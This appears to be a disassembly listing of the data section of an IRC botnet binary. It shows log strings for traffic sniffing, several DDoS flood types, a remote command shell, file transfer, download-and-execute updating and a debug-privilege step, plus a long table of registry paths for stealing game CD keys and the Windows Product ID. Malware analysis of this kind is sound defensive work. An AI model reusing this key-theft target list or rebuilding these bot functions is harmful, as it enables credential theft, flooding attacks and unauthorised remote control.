aVulnSniffSDToS	db '- VULN sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_4359CC	db  2Dh	; -		; DATA XREF: sub_412660+382o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aHttpSniffSDToS	db '- HTTP sniff "%s:%d" to "%s:%d": - "%s"',0
		align 4
unk_435A04	db  2Dh	; -		; DATA XREF: sub_412660+351o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aFtpSniffSDToSD	db '- FTP sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A38	db  2Dh	; -		; DATA XREF: sub_412660+31Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aIrcSniffSDToSD	db '- IRC sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435A6C	db  2Dh	; -		; DATA XREF: sub_412660+2E2o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBotSniffSDToSD	db '- Bot sniff "%s:%d" to "%s:%d": - "%s"',0
unk_435AA0	db  2Dh	; -		; DATA XREF: sub_412660+14Bo
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aWsaioctlFailed	db '- WSAIoctl() failed, returned %d',0
		align 10h
unk_435AD0	db  2Dh	; -		; DATA XREF: sub_412660+C5o
		db 3, 34h, 2
		db  73h	; s
		db 6Eh,	69h, 66h
		db  66h	; f
		db 65h,	72h, 2
		db    3
aBindFailedRetu	db '- bind() failed, returned %d',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 64h,	6Fh, 73h
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodA	db 'done with flood at %iKB/sec',0
dword_435B24	dd 234032Dh, 736F6464h,	202D0302h, 646E6573h, 72726520h
					; DATA XREF: sub_412B08+302o
		dd 203A726Fh, 6425h, 234032Dh, 706D6369h, 202D0302h, 656E6F64h
		dd 74697720h, 73252068h, 6F6C6620h, 7420646Fh, 7325206Fh
		dd 6573202Eh, 2520746Eh, 61702064h, 74656B63h, 20402073h
		dd 424B6425h, 6365732Fh, 64252820h, 2E29424Dh, 0
		dd 234032Dh, 706D6369h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 61702067h, 74656B63h, 6F742073h, 2E732520h
		dd 20642520h, 6B636170h, 20737465h, 746E6573h, 6572202Ch
		dd 6E727574h, 25206465h, 64h, 234032Dh,	706D6369h, 202D0302h
		dd 61766E69h, 2064696Ch, 67726174h, 69207465h, 70h, 234032Dh
		dd 706D6369h, 202D0302h, 73746573h, 6F6B636Fh, 29287470h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 706D6369h,	202D0302h, 6B636F73h, 29287465h
		dd 69616620h, 2C64656Ch, 74657220h, 656E7275h, 64252064h
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 696E6966h, 64656873h
		dd 6E657320h, 676E6964h, 6E697020h, 74207367h, 7325206Fh
		dd 0
		dd 234032Dh, 676E6970h,	202D0302h, 6F727265h, 65732072h
		dd 6E69646Eh, 69702067h, 2073676Eh, 25206F74h, 73h, 234032Dh
		dd 2706475h, 66202D03h,	73696E69h, 20646568h, 646E6573h
		dd 20676E69h, 6B636170h, 20737465h, 25206F74h, 73h, 234032Dh
		dd 2706475h, 65202D03h,	726F7272h, 6E657320h, 676E6964h
		dd 63617020h, 7374656Bh, 206F7420h, 7325h, 234032Dh, 73796B73h
		dd 3026E79h, 6F44202Dh,	7720656Eh, 20687469h, 6F6F6C66h
		dd 25282064h, 2F424B69h, 29636573h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  73h	; s
		db 79h,	6Eh, 2
		db    3
aDoneWithFloodI	db '- Done with flood (%iKB/sec).',0
		align 4
dword_435D4C	dd 234032Dh, 26E7973h, 53202D03h, 20646E65h, 6F727265h
					; DATA XREF: sub_41386B+27Do
		dd 3C203A72h, 2E3E6425h, 0
		dd 234032Dh, 67726174h,	3023361h, 6F44202Dh, 7720656Eh
		dd 20687469h, 6F6F6C66h, 2E64h,	234032Dh, 2706374h, 44202D03h
		dd 20656E6Fh, 68746977h, 20732520h, 6F6F6C66h, 6F742064h
		dd 3A504920h, 2E732520h, 6E655320h, 25203A74h, 61702064h
		dd 74656B63h, 20297328h, 64252040h, 732F424Bh, 28206365h
		dd 424D6425h, 2E29h, 234032Dh, 2706374h, 45202D03h, 726F7272h
		dd 6E657320h, 676E6964h, 63617020h, 7374656Bh, 206F7420h
		dd 203A5049h, 202E7325h, 6B636150h, 20737465h, 746E6573h
		dd 6425203Ah, 6552202Eh, 6E727574h, 203A6465h, 3E64253Ch
		dd 2Eh,	234032Dh, 2706374h, 49202D03h, 6C61766Eh, 74206469h
		dd 65677261h, 50492074h, 2Eh, 234032Dh,	2706374h, 45202D03h
		dd 726F7272h, 6573203Ah, 636F7374h, 74706F6Bh, 66202928h
		dd 656C6961h, 72202C64h, 72757465h, 3A64656Eh, 64253C20h
		dd 2E3Eh, 234032Dh, 2706374h, 45202D03h, 726F7272h, 6F73203Ah
		dd 74656B63h, 66202928h, 656C6961h, 72202C64h, 72757465h
		dd 3A64656Eh, 64253C20h, 2E3Eh,	234032Dh, 6E757374h, 2696D61h
		dd 44202D03h, 20656E6Fh, 68746977h, 6F6C6620h, 202C646Fh
		dd 70206425h, 656B6361h, 73207374h, 2E746E65h, 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 53202D03h
		dd 74726174h, 20676E69h, 64736957h, 73206D6Fh, 666F6F70h
		dd 55206465h, 66205044h, 646F6F6Ch, 72687420h, 2E646165h
		dd 0
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 45202D03h
		dd 726F7272h, 6E657320h, 676E6964h, 63617020h, 7374656Bh
		dd 206F7420h, 202E7325h, 3D786165h, 4B434F53h, 455F5445h
		dd 524F5252h, 5357202Ch, 74654741h, 7473614Ch, 6F727245h
		dd 3D292872h, 202E6425h, 657A6973h, 6228666Fh, 65666675h
		dd 3D202972h, 2E642520h, 63615020h, 7374656Bh, 6E657320h
		dd 75732074h, 73736563h, 6C6C7566h, 203D2079h, 2E6425h
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 46202D03h
		dd 73696E69h, 20646568h, 646E6573h, 20676E69h, 6B636170h
		dd 20737465h, 25206F74h, 53202E73h, 20746E65h, 70206425h
		dd 656B6361h, 29732874h, 257E202Eh, 20424D64h, 6420666Fh
		dd 20617461h, 746E6573h, 257E2820h, 732F4B64h, 2E29h, 234032Dh
		dd 64736977h, 75286D6Fh, 2297064h, 53202D03h, 69646E65h
		dd 7020676Eh, 656B6361h, 74207374h, 7325206Fh, 2E2E2Eh
		dd 234032Dh, 64736977h,	75286D6Fh, 2297064h, 49202D03h
		dd 6C61766Eh, 74206469h, 65677261h, 50492074h, 5357202Eh
		dd 74654741h, 7473614Ch, 6F727245h, 20292872h, 75746572h
		dd 20736E72h, 2E6425h, 234032Dh, 64736977h, 75286D6Fh
		dd 2297064h, 45202D03h,	726F7272h, 6C616320h, 676E696Ch
		dd 74657320h, 6B636F73h, 2874706Fh, 57202E29h, 65474153h
		dd 73614C74h, 72724574h, 2928726Fh, 74657220h, 736E7275h
		dd 2E642520h, 0
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 69h,	73h, 64h
		db  6Fh	; o
		db 6Dh,	28h, 75h
		db  64h	; d
		db 70h,	29h, 2
		db    3
aErrorCallingSo	db '- Error calling socket().',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  77h	; w
		db 6Fh,	6Eh, 6Bh
		db    2
		db 3, 2Dh, 20h
aDoneWithFloodP	db 'Done with flood, ports hit: %s',0
		align 4
aSD		db '%s%d ',0
		align 4
dword_43613C	dd 202E6425h, 73253403h, 203D2003h, 73253703h, 3 ; DATA	XREF: sub_415134+35o
dword_436150	dd 234032Dh, 61696C61h,	696C2073h, 3027473h, 2Dh ; DATA	XREF: sub_415134+10o
a_2d_2d4d_2d_2d	db '[%.2d-%.2d-%4d %.2d:%.2d:%.2d] %s',0 ; DATA XREF: sub_4151AC+60o
		align 4
dword_436188	dd 234032Dh, 3676F6Ch, 43202D02h, 7261656Ch, 2E6465h
					; DATA XREF: sub_41524C:loc_415281o
dword_43619C	dd 234032Dh, 2676F6Ch, 63202D03h, 7261656Ch, 6465h
					; DATA XREF: sub_41524C+20o
dword_4361B0	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 706D6F63h
					; DATA XREF: ___:00415369o
		dd 6574656Ch, 0
dword_4361CC	dd 234032Dh, 2676F6Ch, 6C202D03h, 20747369h, 72617473h
					; DATA XREF: ___:004152CCo
		dd 676E6974h, 0
aDisplay	db 'DISPLAY',0          ; DATA XREF: sub_4153BC+11o
aWindow		db 'Window',0           ; DATA XREF: sub_4155F7+23o
					; sub_4157F0+26o
		align 4
		dd 80000001h
off_4361FC	dd offset aSoftwareValveC ; DATA XREF: sub_415A2F+Cr
					; sub_415A2F+21o
					; "Software\\Valve\\CounterStrike\\Settings"
		dd offset aCdkey	; "CDKey"
		dd offset aCounterStrikeR ; "Counter-Strike (Retail)"
dword_436208	dd 2 dup(0)		; DATA XREF: sub_415A2F+26o
		dd 80000001h, 43738Ch, 437380h,	437370h, 2 dup(0)
		dd 80000001h, 437350h, 43734Ch,	437338h, 2 dup(0)
		dd 80000001h, 437314h, 43734Ch,	437308h, 2 dup(0)
		dd 80000001h, 4372E4h, 4372DCh,	4372C8h, 2 dup(0)
		dd 80000001h, 4372B4h, 4372A4h,	437288h, 2 dup(0)
		dd 80000001h, 437244h, 4373CCh,	437230h, 2 dup(0)
		dd 80000002h, 437204h, 4371F8h,	4371D8h, 2 dup(0)
		dd 80000002h, 4371A4h, 4373CCh,	43718Ch, 2 dup(0)
		dd 80000002h, 437158h, 4373CCh,	437140h, 2 dup(0)
		dd 80000002h, 437128h, 4373CCh,	437110h, 2 dup(0)
		dd 80000002h, 4370D4h, 43D128h,	4370C4h, 2 dup(0)
		dd 80000002h, 43708Ch, 43D128h,	437078h, 2 dup(0)
		dd 80000002h, 43702Ch, 43D128h,	43700Ch, 2 dup(0)
		dd 80000002h, 436FBCh, 43D128h,	436F90h, 2 dup(0)
		dd 80000002h, 436F54h, 43D128h,	436F40h, 2 dup(0)
		dd 80000002h, 436F08h, 43D128h,	436EF8h, 2 dup(0)
		dd 80000002h, 436EA8h, 43D128h,	436E7Ch, 2 dup(0)
		dd 80000002h, 436E3Ch, 43D128h,	436E20h, 2 dup(0)
		dd 80000002h, 436DF0h, 43D128h,	436DD0h, 2 dup(0)
		dd 80000002h, 436D94h, 43D128h,	436D80h, 2 dup(0)
		dd 80000002h, 436D38h, 43D128h,	436D18h, 2 dup(0)
		dd 80000002h, 436CC4h, 43D128h,	436C94h, 2 dup(0)
		dd 80000002h, 436C44h, 43D128h,	436C18h, 2 dup(0)
		dd 80000002h, 436BD8h, 436BD0h,	436BB0h, 2 dup(0)
		dd 80000002h, 436B6Ch, 43D128h,	436B50h, 2 dup(0)
		dd 80000002h, 436B04h, 43D128h,	436AE0h, 2 dup(0)
		dd 80000002h, 436AACh, 43D128h,	436AA0h, 2 dup(0)
		dd 80000002h, 436A6Ch, 43D128h,	436A60h, 2 dup(0)
		dd 80000002h, 436A2Ch, 43D128h,	436A20h, 2 dup(0)
		dd 80000002h, 4369ECh, 43D128h,	4369E0h, 2 dup(0)
		dd 80000002h, 4369A4h, 43D128h,	436990h, 2 dup(0)
		dd 80000002h, 436954h, 43D128h,	436940h, 2 dup(0)
		dd 80000002h, 436910h, 4373CCh,	4368F4h, 2 dup(0)
		dd 80000002h, 4368D4h, 4368CCh,	4368A8h, 2 dup(0)
		dd 80000002h, 43688Ch, 4368CCh,	43686Ch, 2 dup(0)
		dd 80000002h, 43684Ch, 4368CCh,	436828h, 2 dup(0)
		dd 80000002h, 436810h, 4368CCh,	43680Ch, 2 dup(0)
		dd 80000002h, 4367F0h, 4367E0h,	4367D8h, 2 dup(0)
		dd 80000002h, 4367A4h, 42C220h,	43678Ch, 2 dup(0)
		dd 80000002h, 436750h, 436744h,	43671Ch, 43670Ch, 4366F8h
		dd 80000002h, 4366D4h, 4366C8h,	4366B4h, 4366A4h, 43669Ch
		dd 80000002h, 4366D4h, 4366C8h,	436670h, 4366A4h, 436668h
		dd 80000002h, 4366D4h, 4366C8h,	436638h, 4366A4h, 436630h
		dd 6 dup(0)
		dd 3379654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64726F48h, 6F207365h, 68742066h, 6E552065h
		dd 64726564h, 296B7261h, 0
		dd 3279654Bh, 3Dh, 6576654Eh, 6E697772h, 20726574h, 6867694Eh
		dd 28207374h, 64616853h, 2073776Fh, 5520666Fh, 6572646Eh
		dd 6469746Eh, 2965h, 3179654Bh,	3Dh, 636E776Eh,	79656B64h
		dd 696E692Eh, 0
aNeverwinterNig	db 'Neverwinter Nights',0
		align 4
aLocation	db 'Location',0
		align 4
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 4
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
aBaseMpSof2key	db 'base\mp\sof2key',0
aSoldierOfFortu	db 'Soldier of Fortune II - Double Helix',0
		align 4
aInstallpath	db 'InstallPath',0
		db 53h
aOftwareActivis	db 'oftware\Activision\Soldier of Fortune II - Double Helix',0
		align 4
aHiddenDangerou	db 'Hidden & Dangerous 2',0
		align 4
		db 53h
aOftwareIllusio	db 'oftware\Illusion Softworks\Hidden & Dangerous 2',0
		align 4
aChrome		db 'Chrome',0
		align 10h
aSerialnumber	db 'SerialNumber',0
		align 10h
		db 53h
aOftwareTechlan	db 'oftware\Techland\Chrome',0
		align 4
		dd offset word_584F4E
aSoftwareWestwo	db 'Software\Westwood\NOX',0
		align 4
aCommandAndConq	db 'Command and Conquer: Red Alert 2',0
		align 4
		db 53h
aOftwareWestwoo	db 'oftware\Westwood\Red Alert 2',0
		align 4
aCommandAndCo_0	db 'Command and Conquer: Red Alert',0
		align 4
		db 53h
aOftwareWestw_0	db 'oftware\Westwood\Red Alert',0
aCommandAndCo_1	db 'Command and Conquer: Tiberian Sun',0
		align 4
aSerial		db 'Serial',0
		align 4
		db 53h
aOftwareWestw_1	db 'oftware\Westwood\Tiberian Sun',0
		align 4
aRainbowSixIiiR	db 'Rainbow Six III RavenShield',0
		db 53h
aOftwareRedStor	db 'oftware\Red Storm Entertainment\RAVENSHIELD',0
		align 10h
aNascarRacing20	db 'Nascar Racing 2003',0
		align 4
		db 53h
aOftwareElectro	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing_0	db 'Nascar Racing 2002',0
		align 4
		db 53h
aOftwareElect_0	db 'oftware\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 10h
aNhl2003	db 'NHL 2003',0
		align 4
		db 53h
aOftwareElect_1	db 'oftware\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 10h
aNhl2002	db 'NHL 2002',0
		align 4
		db 53h
aOftwareElect_2	db 'oftware\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
aFifa2003	db 'FIFA 2003',0
		align 4
		db 53h
aOftwareElect_3	db 'oftware\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 10h
aFifa2002	db 'FIFA 2002',0
		align 4
		db 53h
aOftwareElect_4	db 'oftware\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aShogunTotalWar	db 'Shogun: Total War: Warlord Edition',0
		align 4
		db 53h
aOftwareElect_5	db 'oftware\Electronic Arts\EA GAMES\Shogun Total War - Warlord Editi'
		db 'on\ergc',0
		align 10h
aNeedForSpeedUn	db 'Need For Speed: Underground',0
		db 53h
aOftwareElect_6	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Underground\ergc',0
		align 10h
aNeedForSpeedHo	db 'Need For Speed Hot Pursuit 2',0
		align 10h
aErgc		db 'ergc',0
		align 4
		db 53h
aOftwareElect_7	db 'oftware\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2',0
		align 4
aMedalOfHonorAl	db 'Medal of Honor: Allied Assault: Spearhead',0
		align 4
		db 53h
aOftwareElect_8	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Sp'
		db 'earhead\ergc',0
		align 4
aMedalOfHonor_0	db 'Medal of Honor: Allied Assault: Breakthrough',0
		align 4
		db 53h
aOftwareElect_9	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault Br'
		db 'eakthrough\ergc',0
		align 4
aMedalOfHonor_1	db 'Medal of Honor: Allied Assault',0
		align 4
		db 53h
aOftwareElec_10	db 'oftware\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\er'
		db 'gc',0
		align 10h
aGlobalOperatio	db 'Global Operations',0
		align 4
		db 53h
aOftwareElec_11	db 'oftware\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aCommandAndCo_2	db 'Command and Conquer: Generals',0
		align 10h
		db 53h
aOftwareElec_12	db 'oftware\Electronic Arts\EA GAMES\Generals\ergc',0
aJamesBond007Ni	db 'James Bond 007: Nightfire',0
		align 4
		db 53h
aOftwareElec_13	db 'oftware\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
aCommandAndCo_3	db 'Command and Conquer: Generals (Zero Hour)',0
		align 4
		db 53h
aOftwareElec_14	db 'oftware\Electronic Arts\EA GAMES\Command and Conquer Generals Zer'
		db 'o Hour\ergc',0
		align 4
aBlackAndWhite	db 'Black and White',0
		db 53h
aOftwareElec_15	db 'oftware\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 10h
aBattlefieldVie	db 'Battlefield Vietnam',0
		db 53h
aOftwareElec_16	db 'oftware\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 10h
aBattlefield194	db 'Battlefield 1942 (Secret Weapons of WWII)',0
		align 4
		db 53h
aOftwareElec_17	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 4
aBattlefield1_0	db 'Battlefield 1942 (Road To Rome)',0
		db 53h
aOftwareElec_18	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Rom'
		db 'e\ergc',0
		align 4
aBattlefield1_1	db 'Battlefield 1942',0
		align 4
		db 53h
aOftwareElec_19	db 'oftware\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
aFreedomForce	db 'Freedom Force',0
		align 4
		db 53h
aOftwareElec_20	db 'oftware\Electronic Arts\EA Distribution\Freedom Force\ergc',0
aIgi2CovertStri	db 'IGI 2: Covert Strike',0
		align 4
		db 53h
aOftwareIgi2Ret	db 'oftware\IGI 2 Retail',0
		align 10h
aUnrealTourname	db 'Unreal Tournament 2004',0
		align 4
		db 53h
aOftwareUnrealT	db 'oftware\Unreal Technology\Installed Apps\UT2004',0
		align 4
aUnrealTourna_0	db 'Unreal Tournament 2003',0
		align 4
		db 53h
aOftwareUnrea_0	db 'oftware\Unreal Technology\Installed Apps\UT2003',0
		align 4
aMicrosoftWindo	db 'Microsoft Windows Product ID',0
		align 4
aProductid	db 'ProductId',0
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion',0
		align 10h
aSoldiersOfAnar	db 'Soldiers Of Anarchy',0
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
aLegendsOfMight	db 'Legends of Might and Magic',0
		align 4
aCustomernumber	db 'CustomerNumber',0
		align 4
aSoftware3d0Sta	db 'Software\3d0\Status',0
aIndustryGiant2	db 'Industry Giant 2',0
		align 4
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 4
aHalfLife	db 'Half-Life',0
		align 4
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 4
aGunmanChronicl	db 'Gunman Chronicles',0
		align 4
aKey_0		db 'Key',0
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aTheGladiators	db 'The Gladiators',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
aCounterStrikeR	db 'Counter-Strike (Retail)',0 ; DATA XREF: ___:00436204o
aCdkey		db 'CDKey',0            ; DATA XREF: ___:00436200o
		align 4
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0 ; DATA XREF: ___:off_4361FCo
		align 4
asc_4373FC:				; DATA XREF: sub_415A2F+E9o
					; sub_415A2F+F4o
		unicode	0, <=>,0
dword_437400	dd 234032Dh, 656B6463h,	3027379h, 7325202Dh, 7325203Ah
					; DATA XREF: sub_415A2F+2Bo
		dd 0
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToSendTo	db '- failed to send to Remote command shell',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenRe	db '- failed to open remote command shell',0
		align 4
unk_43747C	db  2Dh	; -		; DATA XREF: ___:00415F17o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToOpenSo	db '- failed to open socket',0
		align 10h
dword_4374A0	dd 234032Dh, 2636364h, 73202D03h, 656B636Fh, 72652074h
					; DATA XREF: ___:0041617Co
					; ___:00416312o
		dd 726F72h
unk_4374B8	db  2Dh	; -		; DATA XREF: ___:00416114o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileSSentToSSB	db '- file %s sent to %s (%s bytes).',0
		align 4
unk_4374E4	db  2Dh	; -		; DATA XREF: ___:0041601Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aUnableToOpenSo	db '- unable to open socket',0
		align 4
dword_437508	dd 234032Dh, 2636364h, 73202D03h, 20646E65h, 656D6974h
					; DATA XREF: ___:00415FE5o
		dd 74756Fh
dword_437520	dd 43434401h, 4E455320h, 73252044h, 20692520h, 25206925h
					; DATA XREF: ___:00415F84o
		dd 169h
unk_437538	db  2Dh	; -		; DATA XREF: ___:00415F41o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFileDoesnTExis	db '- file doesn',27h,'t exist',0
		align 4
unk_437558	db  2Dh	; -		; DATA XREF: ___:00415E9Co
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToBindTo	db '- failed to bind to socket',0
unk_43757C	db  2Dh	; -		; DATA XREF: ___:00415E5Eo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aFailedToCrea_2	db '- failed to create socket',0
		align 10h
unk_4375A0	db  2Dh	; -		; DATA XREF: ___:0041638Do
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aReceivedSFromS	db '- received %s from %s (%s bytes).',0
		align 4
unk_4375CC	db  2Dh	; -		; DATA XREF: ___:00416287o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningSo	db '- error opening socket',0
unk_4375EC	db  2Dh	; -		; DATA XREF: ___:00416267o
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorOpeningFi	db '- error opening file for writing',0
		align 4
aAB		db 'a+b',0              ; DATA XREF: ___:00416253o
unk_43761C	db  2Dh	; -		; DATA XREF: ___:0041623Fo
		db 3, 34h, 2
		db  64h	; d
		db 2 dup(63h), 2
		db    3
aErrorUnableToW	db '- error unable to write file to disk',0
		align 4
unk_43764C	db  2Dh	; -		; DATA XREF: ___:0041688Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aBadUrlOrDnsErr	db 'bad url or dns error at %s.',0
unk_437678	db  2Dh	; -		; DATA XREF: ___:0041687Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aUpdateFailedEr	db 'update failed, error executing %s',0
		align 4
unk_4376AC	db  2Dh	; -		; DATA XREF: ___:004167C2o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fk	db 'downloaded %.1fKB to %s @ %.1fKB/sec, updating bot',0
		align 10h
dword_4376F0	dd 234032Dh, 6E776F64h,	64616F6Ch, 202D0302h, 6E65706Fh
					; DATA XREF: ___:00416751o
		dd 25206465h, 73h
unk_43770C	db  2Dh	; -		; DATA XREF: ___:004166DAo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloaded_1fK	db 'downloaded %.1f KB to %s @ %.1f KB/sec',0
		align 4
unk_437744	db  2Dh	; -		; DATA XREF: ___:0041665Bo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongCrcDD_	db 'wrong crc (%d != %d).',0
		align 4
unk_43776C	db  2Dh	; -		; DATA XREF: ___:004165D1o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aWrongFilesizeD	db 'wrong filesize (%d != %d).',0
		align 4
unk_437798	db  2Dh	; -		; DATA XREF: ___:0041658Eo
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aGotUpdateSDkb_	db 'got update %s (%dKB).',0
		align 10h
unk_4377C0	db  2Dh	; -		; DATA XREF: ___:0041657Co
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aDownloadedSDkb	db 'downloaded %s (%dKB)',0
		align 4
unk_4377E8	db  2Dh	; -		; DATA XREF: ___:00416470o
		db 3, 34h, 2
		db  64h	; d
		db 6Fh,	77h, 6Eh
		db  6Ch	; l
		db 6Fh,	61h, 64h
		db    2
		db 3, 2Dh, 20h
aCouldnTOpenF_0	db 'couldn',27h,'t open file: %s',0
		align 10h
aUnknown	db 'Unknown',0          ; DATA XREF: sub_4169A1:loc_4169E4o
					; sub_418EF6+10Ao
aInvalid	db 'Invalid',0          ; DATA XREF: sub_4169A1:loc_4169DEo
aDisk		db 'Disk',0             ; DATA XREF: sub_4169A1:loc_4169D8o
		align 4
aNetwork	db 'Network',0          ; DATA XREF: sub_4169A1:loc_4169D2o
aCdrom		db 'Cdrom',0            ; DATA XREF: sub_4169A1:loc_4169CCo
		align 4
off_437838	dd offset word_4D4152	; DATA XREF: sub_4169A1:loc_4169C6o
word_43783C	dw 3Fh			; DATA XREF: sub_4169A1+1Fo
					; sub_41AA42:loc_41AB44r
		align 10h
aFailed		db 'failed',0           ; DATA XREF: sub_416A32:loc_416B10o
					; sub_416B56+3Bo
		align 4
aSkb		db '%sKB',0             ; DATA XREF: sub_416A32+6Co
		align 10h
unk_437850	db  2Dh	; -		; DATA XREF: sub_416B56+8Eo
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSSTotalS	db '%s drive (%s): %s total, %s free, %s available',0
		align 4
unk_43788C	db  2Dh	; -		; DATA XREF: sub_416B56+58o
		db 3, 34h, 2
		db  6Dh	; m
		db 61h,	69h, 6Eh
		db    2
		db 3, 2Dh, 20h
aSDriveSFailedT	db '%s drive (%s): failed to stat, device not ready',0
aA_1		db 'A:\',0              ; DATA XREF: sub_416C28:loc_416C6Do
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
		db  66h	; f
		db 6Fh,	75h, 6Eh
		db  64h	; d
		db 20h,	25h, 64h
		db  20h
aFiles		db 'files',0
		align 4
		db  2Dh	; -
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  66h	; f
		db 69h,	6Ch, 65h
		db    2
		db 3, 2Dh, 20h
aSearchingFor_0	db 'searching for file %s',0
		align 4
		dd 234032Dh, 646E6966h,	656C6966h, 202D0302h, 6E756F66h
		dd 73252064h, 73255Ch, 2A5C7325h, 0
unk_437938	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417093o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
aFailedToEnable	db 'failed to enable debug privilege',0
		align 4
unk_43796C	db  2Dh	; -		; DATA XREF: sub_416F1A:loc_417066o
		db 3, 34h, 2
		db  66h	; f
		db 69h,	6Eh, 64h
		db  70h	; p
		db 61h,	2 dup(73h)
		db    2
		db 3, 2Dh, 20h
